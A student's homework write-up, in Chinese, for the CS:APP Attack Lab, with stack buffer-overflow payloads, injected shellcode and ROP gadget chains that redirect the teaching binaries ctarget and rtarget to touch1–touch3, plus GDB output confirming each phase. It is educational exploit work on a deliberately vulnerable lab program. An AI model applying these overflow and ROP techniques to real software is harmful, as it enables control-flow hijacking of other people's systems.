Homework 03 李芳 10214602404

解题思路

首先，使用 objdump -d ctarget > ctarget.asm 以及 objdump -d rtarget > rtarget.asm 生成汇编代码，方便我根据汇编代码解题。README 里提到 1-3 题在 ctarget 里，4-5 在 rtarget 里。

先看<test>的汇编代码：在分配完空间后，就会调用 getbuf 函数，所以这部分所有 input 都靠 getbuf 得到，再看<getbuf>的汇编代码：

由第一行 sub $0x18,%rsp 可知，我的 target 输入字符串最大字节数为 24，如果大于 24 个字节，就会发生缓冲区溢出。

Phase_1

要想调用函数时，调用 touch1，就需要缓冲区发生溢出，也就是当缓冲区输入 28 个节时，再输入 touch1 的首地址，就会把之前函数保留的返回地址冲掉，get 结束跳转 touch1。利用 GDB 在 test 处设断点，然后 disas touch1，获得了 touch1 的首地址 0x00005555555558f4。

编辑一个 phase1 文件，里面随意写 24 个 16 进制字符，然后紧接着输入首地址。利用小端法输入 f4 58 55 55 55 55 00 00，再利用./hex2raw <phase1.txt>test1.txt 将二进制转化成二进制文件 test1.txt，在 GDB 中运行 r < test1.txt（一开始直接用./hex2raw < c2.txt | ./ctarget -q 会一直显示内存溢出，只能在 GDB 中进行）

运行结果截图：

```
(gdb) r < test1.txt
Starting program: /home/jovyan/10214602404/target21/ctarget < test1.txt
Cookie: 0x6eb933c2
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
[Inferior 1 (process 187) exited normally]
```

Phase_2

第二题要修改已经存在的 cookie 变量的值，反汇编 touch2 以后先得到它的地址 0x0000555555555922，往后看发现 cookie 存在寄存器 edi 里，修改后的 cookie 值存储在 txt 文件里，打开得到为 0x6eb933c2，所以编写 two.s 文件，写入的攻击代码应该是 movq $0x6eb933c2,%rdi movq $0x555555555922,%rdx pushq %rdx ret，反汇编之后就可以得到机器码。攻击的起始地址是 getbuf 的栈底，通过 gdb 在 getbuf 处设立断点，执行到 call 指令后让它显示 rsp 的值，得到 0x55641138。

编辑一个 phase2 文件，先写反汇编得到的攻击代码，然后随便填满 24 个字节数，然后写入 getbuf 栈底。之后跟 phase1 同样的方法与步骤在 GDB 中解决该题。

运行结果截图：

```
(gdb) r <test2.txt
Starting program: /home/jovyan/10214602404/target21/ctarget <test2.txt
Cookie: 0x6eb933c2
Type string:Touch2!: You called touch2(0x6eb933c2)
Valid solution for level 2 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
[Inferior 1 (process 614) exited normally]
```

Phase_3

第三题反汇编可知，touch3 调用了 hexmatch 函数，调用后比较 eax 寄存器中的值，相等便会跳转，再 disas hexmatch 函数，从文件中的 C 语言函数可以知道 hexmatch 是用来比较两串字符串的，从汇编代码知道<+125>到<+143>可以看出调用比较字符串函数之前将变量移动到了 rdi 寄存器里，所以我们要想办法将 rdi 寄存器的值改成自己的 cookie 值。因为比较的是字符串的值，所以要把 cookie 的 16 进制数改成 ASCII 对应的字符值串。0x6eb933c2 对应 54 101 98 57 51 51 99 50 0（十进制），对应字符串 36 65 62 39 33 33 63 32 （必须找 ASCII 码的十六进制数值），第二题获得的 getbuf 的栈底是 0x55641138，因为第三题调用函数时会反复覆盖掉 getbuf 分配的空间，所以必须寻找不会被替换的地址装进 cookie，所以应该考虑 test，由于栈底到 test 栈帧最低位的距离是 8*4，所以 cookie 装进的地址应该是 0x55641138+0x20=0x55641158。

编写 three.s 文件，写入的攻击代码应该是 movq $0x55641158,%rdi movq $0x555555555a39,%rdx pushq %rdx ret，反汇编之后就可以得到机器码。放在跟第二题一样的位置，填满之后，填返回位置填栈底位置 0x55641138，再填入字符串：36 65 62 39 33 33 63 32

运行结果截图：

```
(gdb) r <test3.txt
Starting program: /home/jovyan/10214602404/target21/ctarget <test3.txt
Cookie: 0x6eb933c2
Type string:Touch3!: You called touch3("6eb933c2")
Valid solution for level 3 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
[Inferior 1 (process 951) exited normally]
```

Phase_4

后面两个题需要对 rtarget 使用 ROP 进行攻击，利用 Gadget 来实现。

这一题的要求和第二题类似，要修改返回地址来调用 touch2 函数，因为题目中要求如果有一个 Gadget 使用了 popq，这时候攻击代码能既包含 Gadget 地址又包含数据，那就可以利用 popq 和 cookie 结合就可以。由于表中没有 pop %rdi，所以要分两步实现。Popq %rax

Ret　Movq %rax，%rdi　Ret。这样就可以让 getbuf 返回后执行 Gadget1，然后把 cookie 值弹出存到 rax 里再 ret 执行 Gadget2，把 cookie 转移到 rdi 里 ret 到 touch2 的地址。

查表，Gadget1 的 popq %rax 对应 58，在汇编代码里查找含有 58，选一个 setval_400 地址是 0x0000555555555af7+0x4=0x0x0000555555555afb；movq %rax, %rdi　Ret 对应 48 89 c7 选 setval_269 地址是 0x0000555555555ae9+0x2=0x0000555555555aeb。所以 0 填充 24 个字符之后放 fb 5a 55 55 55 55 00 00，再放 cookie：0x6eb933c2，再放 eb 5a 55 55 55 55 00 00，最后放 touch2d 的地址：0x0000555555555922。

运行结果截图：

```
(gdb) r <test4.txt
Starting program: /home/jovyan/10214602404/target21/rtarget <test4.txt
Cookie: 0x6eb933c2
Type string:Touch2!: You called touch2(0x6eb933c2)
Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

Phase_5

这一题要实现调用 touch3 的任务。首先要获取栈顶的位置，与 rsp 相关的指令有 mov，因为最后要想办法把字符串的地址放到 rdi 里，所以要两回 movq：movq %rsp, %rax movq %rax, %rdi，再利用一次 pop 把字符串地址弹出来。因为最后解题需要 movq %rax, %rdi 所以要把栈顶离字符串的相对位置放到%rsi 里，因为没有 pop %rsi，所以利用多次 mov %eax->%edx->%ecx->%esi 来实现。最后因为没有 add，所以利用 lea 来实现加法移动：lea %rdi+%rsi, %rax。

在 rtarget.asm 里查找对应的 Gadget。movq %rsp, %rax :(48 89 e0) <addval_232> 0x0000555555555b31+0x2=0x0000555555555b33；movq %rax, %rdi :(48 89 c7) <setval_269>0x0000555555555ae9+0x2=0x0000555555555aeb；popq %rax :(58) <setval_400>0x0000555555555af7+0x4=0x0x0000555555555afb；然后是相对偏移量：7*8=56=0x48；movl %eax, %ecx :(89 c1)<getval_316>0x0000555555555b9c+0x1=0x0000555555555b9d；movl %ecx, %edx :(89 ca)<setval_155>0x0000555555555b88+0x3=0x0000555555555b8b；movl %edx, %esi :(89 d6)<getval_332>0x0000555555555b1e+0x1=0x0000555555555b1f；lea (%rdi,%rsi,1), %rax 在表中没有，但是可以查找 add_xy 函数得到对应的 lea 代码地址 0x0000555555555b19；movq %rax, %rdi :(48 89 c7) <setval_269>0x0000555555555ae9+0x2=0x0000555555555aeb；最后放入 touch3 的地址以及 cookie 对应的 ASCII 十六进制码值:0x0000555555555a39　36 65

62 39 33 33 63 32。地址小端法放到占满的 24 个字节后面就可以。

运行结果截图：

```
(gdb) r <test5.txt
Starting program: /home/jovyan/10214602404/target21/rtarget <test5.txt
Cookie: 0x6eb933c2
Type string:Touch3!: You called touch3("6eb933c2")
Valid solution for level 3 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
[Inferior 1 (process 920) exited normally]
```

评分板截图

52	21	Mon Nov 13 22:38:55 2023	0	invalid	invalid	invalid	invalid	invalid